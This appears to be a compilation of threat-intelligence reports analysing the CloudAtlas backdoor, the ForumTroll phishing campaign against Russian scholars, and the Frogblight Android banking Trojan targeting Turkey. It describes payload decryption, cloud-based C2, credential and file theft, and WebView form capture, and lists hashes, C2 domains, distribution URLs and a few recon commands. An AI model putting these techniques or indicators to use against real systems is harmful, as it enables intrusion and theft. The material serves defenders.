The library reads the contents of the "chambranle" file with the payload, uses the key from the decrypted config and the IV located at the very end of the "chambranle" file to decrypt it with AES-256-CBC. The decrypted file is another DLL with its size and SHA-1 hash embedded at the end, added to verify that the DLL is decrypted correctly. The DLL decrypted from "chambranle" is the main body of the CloudAtlas backdoor, and control is transferred to it via one of the exported functions, specifically the one with ordinal 2.
Main routine that processes the payload file
When the main body of the backdoor gains control, the first thing it does is decrypt its own configuration. Decryption is done in a similar way, using AES-256-CBC. The key for AES-256 is located before the configuration, and the IV is located right after it. The most useful information in the configuration file includes the URL of the cloud service, paths to directories for receiving payloads and unloading results, and credentials for the cloud service.
Encrypted and decrypted CloudAtlas backdoor config
Immediately after decrypting the configuration, the backdoor starts interacting with the C2 server, which is a cloud service, via WebDAV. First, the backdoor uses the MKCOL HTTP method to create two directories: one ("/guessed/intershop/Euskalduns/") will regularly receive a beacon in the form of an encrypted file containing information about the system, time, user name, current command line, and volume information. The other directory ("/cancrenate/speciesists/") is used to retrieve payloads. The beacon file and payload files are AES-256-CBC encrypted with the key that was used for backdoor configuration decryption.
HTTP requests of the CloudAtlas backdoor
The backdoor uses the HTTP PROPFIND method to retrieve the list of files. Each of these files will be subsequently downloaded, deleted from the cloud service, decrypted, and executed.
HTTP requests from the CloudAtlas backdoor
The payload consists of data with a binary block containing a command number and arguments at the beginning, followed by an executable plugin in the form of a DLL. The structure of the arguments depends on the type of command. After the plugin is loaded into memory and configured, the backdoor calls the exported function with ordinal 1, passing several arguments: a pointer to the backdoor function that implements sending files to the cloud service, a pointer to the decrypted backdoor configuration, and a pointer to the binary block with the command and arguments from the beginning of the payload.
Plugin setup and execution routine
Before calling the plugin function, the backdoor saves the path to the current directory and restores it after the function is executed. Additionally, after execution, the plugin is removed from memory.
FileGrabber is the most commonly used plugin. As the name suggests, it is designed to steal files from an infected system. Depending on the command block transmitted, it is capable of:
For each detected file, a series of rules are generated based on the conditions passed within the command block, including:
Resource scanning
If all conditions match, the file is sent to the C2 server, along with its metadata, including attributes, creation time, last access time, last modification time, size, full path to the file, and SHA-1 of the file contents. Additionally, if a special flag is set in one of the rule fields, the file will be deleted after a copy is sent to the C2 server. There is also a limit on the total amount of data sent, and if this limit is exceeded, scanning of the resource stops.
Generating data for sending to C2
This is a general-purpose plugin, which parses the transferred block, splits it into commands, and executes them. Each command has its own ID, ranging from 0 to 6. The list of commands is presented below.
"%APPDATA%\ntsystmp.vbs". The path to launch the file dropped on the remote system is passed to the launched VB script as an argument.
Content of the dropped VBS
This plugin is used to steal cookies and credentials from browsers. This is an extended version of the Common Plugin, which is used for more specific purposes. It can also drop, launch, and delete files, but its primary function is to drop files belonging to the “Chrome App-Bound Encryption Decryption” open-source project onto the disk, and run the utility to steal cookies and passwords from Chromium-based browsers. After launching the utility, several files ("cookies.txt" and "passwords.txt") containing the extracted browser data are created on disk. The plugin then reads JSON data from the selected files, parses the data, and sends the extracted information to the C2 server.
Part of the function for parsing JSON and sending the extracted data to C2
This plugin is used to collect information about the infected system. The list of commands is presented below.
net group "Exchange servers" /domain Ipconfig arp -a
As mentioned in one of our previous reports, Cloud Atlas uses a custom Python script named get_browser_pass.py to extract saved credentials from browsers on infected systems. If the Python interpreter is not present on the victim’s machine, the group delivers an archive that includes both the script and a bundled Python interpreter to ensure execution.
During one of the latest incidents we investigated, we once again observed traces of this tool in action, specifically the presence of the file "C:\ProgramData\py\pytest.dll".
The pytest.dll library is called from within get_browser_pass.py and used to extract credentials from Yandex Browser. The data is then saved locally to a file named y3.txt.
According to our telemetry, the identified targets of the malicious activities described here are located in Russia and Belarus, with observed activity dating back to the beginning of 2025. The industries being targeted are diverse, encompassing organizations in the telecommunications sector, construction, government entities, and plants.
For more than ten years, the group has carried on its activities and expanded its arsenal. Now the attackers have four implants at their disposal (PowerShower, VBShower, VBCloud, CloudAtlas), each of them a full-fledged backdoor. Most of the functionality in the backdoors is duplicated, but some payloads provide various exclusive capabilities. The use of cloud services to manage backdoors is a distinctive feature of the group, and it has proven itself in various attacks.
Note: The indicators in this section are valid at the time of publication.
0D309C25A835BAF3B0C392AC87504D9E протокол (08.05.2025).doc
D34AAEB811787B52EC45122EC10AEB08 HTA
4F7C5088BCDF388C49F9CAAD2CCCDCC5 StandaloneUpdate_2020-04-13_090638_8815-145.log:StandaloneUpdate_2020-04-13_090638_8815-145cfcf.vbs
5C93AF19EF930352A251B5E1B2AC2519 StandaloneUpdate_2020-04-13_090638_8815-145.log:StandaloneUpdate_2020-04-13_090638_8815-145.dat (encrypted)
0E13FA3F06607B1392A3C3CAA8092C98 VBShower::Payload(1)
BC80C582D21AC9E98CBCA2F0637D8993 VBShower::Payload(2)
12F1F060DF0C1916E6D5D154AF925426 VBShower::Payload(3)
E8C21CA9A5B721F5B0AB7C87294A2D72 VBShower::Payload(4)
2D03F1646971FB7921E31B647586D3FB VBShower::Payload(5)
7A85873661B50EA914E12F0523527CFA VBShower::Payload(6)
F31CE101CBE25ACDE328A8C326B9444A VBShower::Payload(7)
E2F3E5BF7EFBA58A9C371E2064DFD0BB VBShower::Payload(8)
67156D9D0784245AF0CAE297FC458AAC VBShower::Payload(9)
116E5132E30273DA7108F23A622646FE VBCloud::Launcher
E9F60941A7CED1A91643AF9D8B92A36D VBCloud::Payload(FileGrabber)
718B9E688AF49C2E1984CF6472B23805 PowerShower
A913EF515F5DC8224FCFFA33027EB0DD PowerShower::Payload(2)
BAA59BB050A12DBDF981193D88079232 chambranle (encrypted)
billet-ru[.]net
mskreg[.]net
flashsupport[.]org
solid-logit[.]com
cityru-travel[.]org
transferpolicy[.]org
information-model[.]net
securemodem[.]com
In March 2025, we discovered Operation ForumTroll, a series of sophisticated cyberattacks exploiting the CVE-2025-2783 vulnerability in Google Chrome. We previously detailed the malicious implants used in the operation: the LeetAgent backdoor and the complex spyware Dante, developed by Memento Labs (formerly Hacking Team). However, the attackers behind this operation didn’t stop at their spring campaign and have continued to infect targets within the Russian Federation.
More reports about this threat are available to customers of the Kaspersky Intelligence Reporting Service. Contact: intelreports@kaspersky.com.
In October 2025, just days before we presented our report detailing the ForumTroll APT group’s attack at the Security Analyst Summit, we detected a new targeted phishing campaign by the same group. However, while the spring cyberattacks focused on organizations, the fall campaign honed in on specific individuals: scholars in the field of political science, international relations, and global economics, working at major Russian universities and research institutions.
The emails received by the victims were sent from the address support@e-library[.]wiki. The campaign purported to be from the scientific electronic library, eLibrary, whose legitimate website is elibrary.ru. The phishing emails contained a malicious link in the format: https://e-library[.]wiki/elib/wiki.php?id=<8 pseudorandom letters and digits>. Recipients were prompted to click the link to download a plagiarism report. Clicking that link triggered the download of an archive file. The filename was personalized, using the victim’s own name in the format: <LastName>_<FirstName>_<Patronymic>.zip.
The attackers did their homework before sending out the phishing emails. The malicious domain, e-library[.]wiki, was registered back in March 2025, over six months before the email campaign started. This was likely done to build the domain’s reputation, as sending emails from a suspicious, newly registered domain is a major red flag for spam filters.
Furthermore, the attackers placed a copy of the legitimate eLibrary homepage on https://e-library[.]wiki. According to the information on the page, they accessed the legitimate website from the IP address 193.65.18[.]14 back in December 2024.
A screenshot of the malicious site elements showing the IP address and initial session date
The attackers also carefully personalized the phishing emails for their targets, specific professionals in the field. As mentioned above, the downloaded archive was named with the victim’s last name, first name, and patronymic.
Another noteworthy technique was the attacker’s effort to hinder security analysis by restricting repeat downloads. When we attempted to download the archive from the malicious site, we received a message in Russian, indicating the download link was likely for one-time use only:
The message that was displayed when we attempted to download the archive
Our investigation found that the malicious site displayed a different message if the download was attempted from a non-Windows device. In that case, it prompted the user to try again from a Windows computer.
The message that was displayed when we attempted to download the archive from a non-Windows OS
The malicious archives downloaded via the email links contained the following:
<LastName>_<FirstName>_<Patronymic>.lnk;.Thumbs directory containing approximately 100 image files with names in Russian. These images were not used during the infection process and were likely added to make the archives appear less suspicious to security solutions.
A portion of the .Thumbs directory contents
When the user clicked the shortcut, it ran a PowerShell script. The script’s primary purpose was to download and execute a PowerShell-based payload from a malicious server.
The script that was launched by opening the shortcut
The downloaded payload then performed the following actions:
https://e-library[.]wiki/elib/query.php?id=<8 pseudorandom letters and digits>&key=<32 hexadecimal characters> to retrieve the final payload, a DLL file.%localappdata%\Microsoft\Windows\Explorer\iconcache_<4 pseudorandom digits>.dll.https://e-library[.]wiki/pdf/<8 pseudorandom letters and digits>.pdf. This PDF was saved to the user’s Downloads folder with a filename in the format: <LastName>_<FirstName>_<Patronymic>.pdf and then opened automatically.The decoy PDF contained no valuable information. It was merely a blurred report generated by a Russian plagiarism-checking system.
A screenshot of a page from the downloaded report
At the time of our investigation, the links for downloading the final payloads didn’t work. Attempting to access them returned error messages in English: “You are already blocked…” or “You have been bad ended” (sic). This likely indicates the use of a protective mechanism to prevent payloads from being downloaded more than once. Despite this, we managed to obtain and analyze the final payload.
The DLL file deployed to infected devices proved to be an OLLVM-obfuscated loader, which we described in our previous report on Operation ForumTroll. However, while this loader previously delivered rare implants like LeetAgent and Dante, this time the attackers opted for a better-known commercial red teaming framework: Tuoni. Portions of the Tuoni code are publicly available on GitHub. By deploying this tool, the attackers gained remote access to the victim’s device along with other capabilities for further system compromise.
As in the previous campaign, the attackers used fastly.net as C2 servers.
The cyberattacks carried out by the ForumTroll APT group in the spring and fall of 2025 share significant similarities. In both campaigns, infection began with targeted phishing emails, and persistence for the malicious implants was achieved with the COM Hijacking technique. The same loader was used to deploy the implants both in the spring and the fall.
Despite these similarities, the fall series of attacks cannot be considered as technically sophisticated as the spring campaign. In the spring, the ForumTroll APT group exploited zero-day vulnerabilities to infect systems. By contrast, the autumn attacks relied entirely on social engineering, counting on victims not only clicking the malicious link but also downloading the archive and launching the shortcut file. Furthermore, the malware used in the fall campaign, the Tuoni framework, is less rare.
ForumTroll has been targeting organizations and individuals in Russia and Belarus since at least 2022. Given this lengthy timeline, it is likely this APT group will continue to target entities and individuals of interest within these two countries. We believe that investigating ForumTroll’s potential future campaigns will allow us to shed light on shadowy malicious implants created by commercial developers – much as we did with the discovery of the Dante spyware.
e-library[.]wiki
perf-service-clients2.global.ssl.fastly[.]net
bus-pod-tenant.global.ssl.fastly[.]net
status-portal-api.global.ssl.fastly[.]net
In August 2025, we discovered a campaign targeting individuals in Turkey with a new Android banking Trojan we dubbed “Frogblight”. Initially, the malware was disguised as an app for accessing court case files via an official government webpage. Later, more universal disguises appeared, such as the Chrome browser.
Frogblight can use official government websites as an intermediary step to steal banking credentials. Moreover, it has spyware functionality, such as capabilities to collect SMS messages, a list of installed apps on the device and device filesystem information. It can also send arbitrary SMS messages.
Another interesting characteristic of Frogblight is that we’ve seen it updated with new features throughout September. This may indicate that a feature-rich malware app for Android is being developed, which might be distributed under the MaaS model.
This threat is detected by Kaspersky products as HEUR:Trojan-Banker.AndroidOS.Frogblight.*, HEUR:Trojan-Banker.AndroidOS.Agent.eq, HEUR:Trojan-Banker.AndroidOS.Agent.ep, HEUR:Trojan-Spy.AndroidOS.SmsThief.de.
While performing an analysis of mobile malware we receive from various sources, we discovered several samples belonging to a new malware family. Although these samples appeared to be still under development, they already contained a lot of functionality that allowed this family to be classified as a banking Trojan. As new versions of this malware continued to appear, we began monitoring its development. Moreover, we managed to discover its control panel and based on the “fr0g” name shown there, we dubbed this family “Frogblight”.
We believe that smishing is one of the distribution vectors for Frogblight, and that the users had to install the malware themselves. On the internet, we found complaints from Turkish users about phishing SMS messages convincing users that they were involved in a court case and containing links to download malware. versions of Frogblight, including the very first ones, were disguised as an app for accessing court case files via an official government webpage and were named the same as the files for downloading from the links mentioned above.
While looking for online mentions of the names used by the malware, we discovered one of the phishing websites distributing Frogblight, which disguises itself as a website for viewing a court file.
The phishing website distributing Frogblight
We were able to open the admin panel of this website, where it was possible to view statistics on Frogblight malware downloads. However, the counter had not been fully implemented and the threat actor could only view the statistics for their own downloads.
The admin panel interface of the website from which Frogblight is downloaded
Additionally, we found the source code of this phishing website available in a public GitHub repository. Judging by its description, it is adapted for fast deployment to Vercel, a platform for hosting web apps.
The GitHub repository with the phishing website source code
As already mentioned, Frogblight was initially disguised as an app for accessing court case files via an official government webpage. Let’s look at one of the samples using this disguise (9dac23203c12abd60d03e3d26d372253). For analysis, we selected an early sample, but not the first one discovered, in order to demonstrate more complete Frogblight functionality.
After starting, the app prompts the victim to grant permissions to send and read SMS messages, and to read from and write to the device’s storage, allegedly needed to show a court file related to the user.
The full list of declared permissions in the app manifest file is shown below:
After all required permissions are granted, the malware opens the official government webpage for accessing court case files in WebView, prompting the victim to sign in. There are different sign-in options, one of them via online banking. If the user chooses this method, they are prompted to click on a bank whose online banking app they use and fill out the sign-in form on the bank’s official website. This is what Frogblight is after, so it waits two seconds, then opens the online banking sign-in method regardless of the user’s choice. For each webpage that has finished loading in WebView, Frogblight injects JavaScript code allowing it to capture user input and send it to the C2 via a REST API.
The malware also changes its label to “Davalarım” if the Android version is newer than 12; otherwise it hides the icon.
 |
 |
fetchOutbox and getFileCommands. Other methods are called when specific events occur, for example, after the device screen is turned on, the com.capcuttup.refresh.PersistentService foreground service is launched, or an SMS is received. The full list of all REST API client methods with parameters and descriptions is shown below.
| REST API client method | Description | Parameters |
| fetchOutbox | Request message content to be sent via SMS or displayed in a notification | device_id: unique Android device ID |
| ackOutbox | Send the results of processing a message received after calling the API method fetchOutbox | device_id: unique Android device ID msg_id: message ID status: message processing status error: message processing error |
| getAllPackages | Request the names of app packages whose launch should open a website in WebView to capture user input data | action: same as the API method name |
| getPackageUrl | Request the website URL that will be opened in WebView when the app with the specified package name is launched | action: same as the API method name package: the package name of the target app |
| getFileCommands | Request commands for file operations
Available commands: |
device_id: unique Android device ID |
| pingDevice | Check the C2 connection | device_id: unique Android device ID |
| reportHijackSuccess | Send captured user input data from the website opened in a WebView when the app with the specified package name is launched | action: same as the API method name package: the package name of the target app data: captured user input data |
| saveAppList | Send information about the apps installed on the device | device_id: unique Android device ID app_list: a list of apps installed on the device app_count: a count of apps installed on the device |
| saveInjection | Send captured user input data from the website opened in a WebView. If it was not opened following the launch of the target app, the app_name parameter is determined based on the opened URL | device_id: unique Android device ID app_name: the package name of the target app form_data: captured user input data |
| savePermission | Unused but presumably needed for sending information about permissions | device_id: unique Android device ID permission_type: permission type status: permission status |
| sendSms | Send information about an SMS message from the device | device_id: unique Android device ID sender: the sender’s/recipient’s phone number message: message text timestamp: received/sent time type: message type (inbox/sent) |
| sendTelegramMessage | Send captured user input data from the webpages opened by Frogblight in WebView | device_id: unique Android device ID url: website URL title: website page title input_type: the type of user input data input_value: user input data final_value: user input data with additional information timestamp: the time of data capture ip_address: user IP address sms_permission: whether SMS permission is granted file_manager_permission: whether file access permission is granted |
| updateDevice | Send information about the device | device_id: unique Android device ID model: device manufacturer and model android_version: Android version phone_number: user phone number battery: current battery level charging: device charging status screen_status: screen on/off ip_address: user IP address sms_permission: whether SMS permission is granted file_manager_permission: whether file access permission is granted |
| updatePermissionStatus | Send information about permissions | device_id: unique Android device ID permission_type: permission type status: permission status timestamp: current time |
| uploadBatchThumbnails | Upload thumbnails to the C2 | device_id: unique Android device ID thumbnails: thumbnails |
| uploadFile | Upload a file to the C2 | device_id: unique Android device ID file_path: file path download_id: the file ID on the C2 The file itself is sent as an unnamed parameter |
| uploadFileList | Send information about all files in the target directory | device_id: unique Android device ID path: directory path file_list: information about the files in the target directory |
| uploadFileListLog | Send information about all files in the target directory to an endpoint different from uploadFileList | device_id: unique Android device ID path: directory path file_list: information about the files in the target directory |
| uploadThumbnailLog | Unused but presumably needed for uploading thumbnails to an endpoint different from uploadBatchThumbnails | device_id: unique Android device ID thumbnails: thumbnails |
The app includes several classes to provide the threat actor with remote access to the infected device, gain persistence, and protect the malicious app from being deleted.
capcuttup.refresh.AccessibilityAutoClickServicecapcuttup.refresh.PersistentServicecapcuttup.refresh.BootReceiverIn later versions, new functionality was added, and some of the more recent Frogblight variants disguised themselves as the Chrome browser. Let’s look at one of the fake Chrome samples (d7d15e02a9cd94c8ab00c043aef55aff).
In this sample, new REST API client methods have been added for interacting with the C2.
| REST API client method | Description | Parameters |
| getContactCommands | Get commands to perform actions with contacts Available commands: ● ADD_CONTACT: add a contact to the user device ● DELETE_CONTACT: delete a contact from the user device ● EDIT_CONTACT: edit a contact on the user device |
device_id: unique Android device ID |
| sendCallLogs | Send call logs to the C2 | device_id: unique Android device ID call_logs: call log data |
| sendNotificationLogs | Send notifications log to the C2. Not fully implemented in this sample, and as of the time of writing this report, we hadn’t seen any samples with a full-fledged implementation of this API method | action: same as the API method name notifications: notification log data |
Also, the threat actor had implemented a custom input method for recording keystrokes to a file using the com.puzzlesnap.quickgame.CustomKeyboardService service.
Another Frogblight sample we observed trying to avoid emulators and using geofencing techniques is 115fbdc312edd4696d6330a62c181f35. In this sample, Frogblight checks the environment (for example, device model) and shuts down if it detects an emulator or if the device is located in the United States.
Part of the code responsible for avoiding Frogblight running in an undesirable environment
Later on, the threat actor decided to start using a web socket instead of the REST API. Let’s see an example of this in one of the recent samples (08a3b1fb2d1abbdbdd60feb8411a12c7). This sample is disguised as an app for receiving social support via an official government webpage. The feature set of this sample is very similar to the previous ones, with several new capabilities added. Commands are transmitted over a web socket using the JSON format. A command template is shown below:
{
"id": <command ID>,
"command_type": <command name>
"command_data": <command data>
}It is also worth noting that some commands in this version share the same meaning but have different structures, and the functionality of certain commands has not been fully implemented yet. This indicates that Frogblight was under active development at the time of our research, and since no its activity was noticed after September, it is possible that the malware is being finalized to a fully operational state before continuing to infect users’ devices. A full list of commands with their parameters and description is shown below:
| Command | Description | Parameters |
| connect | Send a registration message to the C2 | – |
| connection_success | Send various information, such as call logs, to the C2; start pinging the C2 and requesting commands | – |
| auth_error | Log info about an invalid login key to the Android log system | – |
| pong_device | Does nothing | – |
| commands_list | Execute commands | List of commands |
| sms_send_command | Send an arbitrary SMS message | recipient: message destination message: message text msg_id: message ID |
| bulk_sms_command | Send an arbitrary SMS message to multiple recipients | recipients: message destinations message: message text |
| get_contacts_command | Send all contacts to the C2 | – |
| get_app_list_command | Send information about the apps installed on the device to the C2 | – |
| get_files_command | Send information about all files in certain directories to the C2 | – |
| get_call_logs_command | Send call logs to the C2 | – |
| get_notifications_command | Send a notifications log to the C2. This is not fully implemented in the sample at hand, and as of the time of writing this report, we hadn’t seen any samples with a full-fledged implementation of this command | – |
| take_screenshot_command | Take a screenshot. This is not fully implemented in the sample at hand, and as of the time of writing this report, we hadn’t seen any samples with a full-fledged implementation of this command | – |
| update_device | Send registration message to the C2 | – |
| new_webview_data | Collect WebView data. This is not fully implemented in the sample at hand, and as of the time of writing this report, we hadn’t seen any samples with a full-fledged implementation of this command | – |
| new_injection | Inject code. This is not fully implemented in the sample at hand, and as of the time of writing this report, we hadn’t seen any samples with a full-fledged implementation of this command | code: injected code target_app: presumably the package name of the target app |
| add_contact_command | Add a contact to the user device | name: contact name phone: contact phone email: contact email |
| contact_add | Add a contact to the user device | display_name: contact name phone_number: contact phone email: contact email |
| contact_delete | Delete a contact from the user device | phone_number: contact phone |
| contact_edit | Edit a contact on the user device | display_name: new contact name phone_number: contact phone email: new contact email |
| contact_list | Send all contacts to the C2 | – |
| file_list | Send information about all files in the specified directory to the C2 | path: directory path |
| file_download | Upload the specified file to the C2 | file_path: file path download_id: an ID that is received with the command and sent back to the C2 along with the requested file. Most likely, this is used to organize data on the C2 |
| file_thumbnail | Generate a thumbnail from the target image file and upload it to the C2 | file_path: image file path |
| file_thumbnails | Generate thumbnails from the image files in the target directory and upload them to the C2 | folder_path: directory path |
| health_check | Send information about the current device state: battery level, screen state, and so on | – |
| message_list_request | Send all SMS messages to the C2 | – |
| notification_send | Show an arbitrary notification | title: notification title message: notification message app_name: notification subtext |
| package_list_response | Save the target package names | packages: a list of all target package names. Each list element contains: package_name: target package name active: whether targeting is active |
| delete_contact_command | Delete a contact from the user device. This is not fully implemented in the sample at hand, and as of the time of writing this report, we hadn’t seen any samples with a full-fledged implementation of this command | contact_id: contact ID name: contact name |
| file_upload_command | Upload specified file to the C2. This is not fully implemented in the sample at hand, and as of the time of writing this report, we hadn’t seen any samples with a full-fledged implementation of this command | file_path: file path file_name: file name |
| file_download_command | Download file to user device. This is not fully implemented in the sample at hand, and as of the time of writing this report, we hadn’t seen any samples with a full-fledged implementation of this command | file_url: the URL of the file to download download_path: download path |
| download_file_command | Download file to user device. This is not fully implemented in the sample at hand, and as of the time of writing this report, we hadn’t seen any samples with a full-fledged implementation of this command | file_url: the URL of the file to download download_path: downloading path |
| get_permissions_command | Send a registration message to the C2, including info about specific permissions | – |
| health_check_command | Send information about the current device state, such as battery level, screen state, and so on | – |
| connect_error | Log info about connection errors to the Android log system | A list of errors |
| reconnect | Send a registration message to the C2 | – |
| disconnect | Stop pinging the C2 and requesting commands from it | – |
Authentication via WebSocket takes place using a special key.
The part of the code responsible for the WebSocket authentication logic
At the IP address to which the WebSocket connection was made, the Frogblight web panel was accessible, which accepted the authentication key mentioned above. Since only samples using the same key as the webpanel login are controllable through it, we suggest that Frogblight might be distributed under the MaaS model.
The interface of the sign-in screen for the Frogblight web panel
Judging by the menu options, the threat actor can sort victims’ devices by certain parameters, such as the presence of banking apps on the device, and send bulk SMS messages and perform other mass actions.
Since some versions of Frogblight opened the Turkish government webpage to collect user-entered data on Turkish banks’ websites, we assume with high confidence that it is aimed mainly at users from Turkey. Also, based on our telemetry, the majority of users attacked by Frogblight are located in that country.
Even though it is not possible to provide an attribution to any known threat actor based on the information available, during our analysis of the Frogblight Android malware and the search for online mentions of the names it uses, we discovered a GitHub profile containing repos with Frogblight, which had also created repos with Coper malware, distributed under the MaaS model. It is possible that this profile belongs to the attackers distributing Coper who have also started distributing Frogblight.
GitHub repositories containing Frogblight and Coper malware
Also, since the comments in the Frogblight code are written in Turkish, we believe that its developers speak this language.
The new Android malware we dubbed “Frogblight” appeared recently and targets mainly users from Turkey. This is an advanced banking Trojan aimed at stealing money. It has already infected real users’ devices, and it doesn’t stop there, adding more and more new features in the new versions that appear. It can be made more dangerous by the fact that it may be used by attackers who already have experience distributing malware. We will continue to monitor its development.
More indicators of compromise, as well as any updates to these, are available to the customers of our crimeware reporting service. If you are interested, please contact crimewareintel@kaspersky.com.
APK file hashes
8483037dcbf14ad8197e7b23b04aea34
105fa36e6f97977587a8298abc31282a
e1cd59ae3995309627b6ab3ae8071e80
115fbdc312edd4696d6330a62c181f35
08a3b1fb2d1abbdbdd60feb8411a12c7
d7d15e02a9cd94c8ab00c043aef55aff
9dac23203c12abd60d03e3d26d372253
C2 domains
1249124fr1241og5121.sa[.]com
froglive[.]net
C2 IPs
45.138.16.208[:]8080
URL of GitHub repository with Frogblight phishing website source code
https://github[.]com/eraykarakaya0020/e-ifade-vercel
URL of GitHub account containing APK files of Frogblight and Coper
https://github[.]com/Chromeapk
Distribution URLs
https://farketmez37[.]cfd/e-ifade.apk
https://farketmez36[.]sbs/e-ifade.apk
https://e-ifade-app-5gheb8jc.devinapps[.]com/e-ifade.apk
